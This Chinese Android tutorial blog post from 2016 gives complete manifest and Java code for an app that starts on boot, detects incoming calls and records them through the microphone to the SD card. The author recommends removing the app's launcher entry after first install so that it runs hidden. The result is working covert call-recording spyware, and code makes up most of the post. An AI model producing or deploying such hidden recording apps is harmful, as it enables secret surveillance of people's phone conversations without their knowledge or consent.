Android电话事件案例
2016-02-14 15:55
489 查看
[1]在第一次部署的时候需要有界面,可以部署两次,第二次部署的时候则不再需要,可以去掉intent-filter,增强隐蔽性
[2]部署之后,我们重启手机,可以看到监听服务已经自动启动起来了
[3]电话打入,我们的服务程序已经检测到了电话的呼入,准备录音
[4]当接听电话时,录音开始也同步开启
[5]挂断电话的时候,录音结束,在我们定义的系统目录上已经保存好了音频文件
//manifest 配置组件和添加权限
//代码部分由三个类构成
//第一个MainActivity
//第二个PhoneServer,服务的配置,进行电话状态的监听,录音,保存等功能
需要的配置:
需要的权限:
代码:
//第三个BroadcastReceiver,响应开机广播事件,实现开机启动Server,开机自动监听
需要的配置:
需要的权限:
代码:
[2]部署之后,我们重启手机,可以看到监听服务已经自动启动起来了
[3]电话打入,我们的服务程序已经检测到了电话的呼入,准备录音
[4]当接听电话时,录音开始也同步开启
[5]挂断电话的时候,录音结束,在我们定义的系统目录上已经保存好了音频文件
//manifest 配置组件和添加权限
<?xml version="1.0" encoding="utf-8"?> <manifest package="jacky.phonelistener" xmlns:android="http://schemas.android.com/apk/res/android"> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:supportsRtl="true" android:theme="@style/AppTheme"> <activity android:name=".MainActivity"> <!-- 第一次部署需要界面,第二次部署的时候不需要界面,可以注销intent-filter,--> <!--<intent-filter>--> <!--<action android:name="android.intent.action.MAIN"/>--> <!--<category android:name="android.intent.category.LAUNCHER"/>--> <!--</intent-filter>--> </activity> <!-- 配置一个服务 --> <service android:name=".PhoneServer"></service> <!-- 配置广播接受者--> <receiver android:name=".BootReceiver"> <intent-filter> <!-- 重启的广播事件--> <action android:name="android.intent.action.BOOT_COMPLETED"></action> </intent-filter> </receiver> </application> <!-- 加上读取电话状态的权限 --> <uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" ></uses-permission> <uses-permission android:name="android.permission.RECORD_AUDIO" ></uses-permission> <!-- 接收重启广播的权限--> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission> </manifest>
//代码部分由三个类构成
//第一个MainActivity
package jacky.phonelistener; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } }
//第二个PhoneServer,服务的配置,进行电话状态的监听,录音,保存等功能
需要的配置:
<!-- 配置一个服务 --> <service android:name=".PhoneServer"></service>
需要的权限:
<!-- 加上读取电话状态的权限 --> <uses-permission android:name="android.permission.READ_PHONE_STATE"></uses-permission> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" ></uses-permission> <uses-permission android:name="android.permission.RECORD_AUDIO" ></uses-permission>
代码:
package jacky.phonelistener; import android.app.Service; import android.content.Intent; import android.media.MediaRecorder; import android.os.IBinder; import android.support.annotation.Nullable; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; import java.io.IOException; /** * 作者:Jacky * 邮箱:550997728@qq.com * 时间:2016/2/14 13:33 */ public class PhoneServer extends Service { @Nullable @Override public IBinder onBind(Intent intent) { return null; } @Override public void onCreate() { TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE); tm.listen(new MyPhoneStateListener(),PhoneStateListener.LISTEN_CALL_STATE); } @Override public int onStartCommand(Intent intent, int flags, int startId) { return super.onStartCommand(intent, flags, startId); } @Override public void onDestroy() { super.onDestroy(); } private class MyPhoneStateListener extends PhoneStateListener{ private MediaRecorder recorder; @Override //当电话状态改变是调用 public void onCallStateChanged(int state, String incomingNumber) { super.onCallStateChanged(state, incomingNumber); switch (state) { case TelephonyManager.CALL_STATE_IDLE://电话空闲状态 if (recorder != null) { //关闭录音 recorder.stop(); recorder.reset(); // You can reuse the object by going back to setAudioSource() step recorder.release(); // Now the object cannot be reused } break; case TelephonyManager.CALL_STATE_OFFHOOK://电话接听状态 System.out.println("开始录音!"); //开始录音 recorder.start(); // Recording is now started break; case TelephonyManager.CALL_STATE_RINGING://电话铃响状态 System.out.println("创建一个录音机!"); recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); recorder.setOutputFile("/mnt/sdcard/tall.3gp"); try { recorder.prepare(); } catch (IOException e) { e.printStackTrace(); } break; } } } }
//第三个BroadcastReceiver,响应开机广播事件,实现开机启动Server,开机自动监听
需要的配置:
<receiver android:name=".BootReceiver"> <intent-filter> <!-- 重启的广播事件--> <action android:name="android.intent.action.BOOT_COMPLETED"></action> </intent-filter> </receiver>
需要的权限:
<!-- 接收重启广播的权限--> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission>
代码:
package jacky.phonelistener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; /** * 作者:Jacky * 邮箱:550997728@qq.com * 时间:2016/2/14 14:38 */ public class BootReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { //开启服务 Intent intent1 = new Intent(context,PhoneServer.class); context.startService(intent1); } }
相关文章推荐
- 使用C++实现JNI接口需要注意的事项
- Android IPC进程间通讯机制
- Android Manifest 用法
- [转载]Activity中ConfigChanges属性的用法
- Android之获取手机上的图片和视频缩略图thumbnails
- Android之使用Http协议实现文件上传功能
- Android学习笔记(二九):嵌入浏览器
- android string.xml文件中的整型和string型代替
- i-jetty环境搭配与编译
- android之定时器AlarmManager
- android wifi 无线调试
- Android Native 绘图方法
- Android java 与 javascript互访(相互调用)的方法例子
- android 代码实现控件之间的间距
- android FragmentPagerAdapter的“标准”配置
- Android"解决"onTouch和onClick的冲突问题
- android:installLocation简析
- android searchView的关闭事件
- SourceProvider.getJniDirectories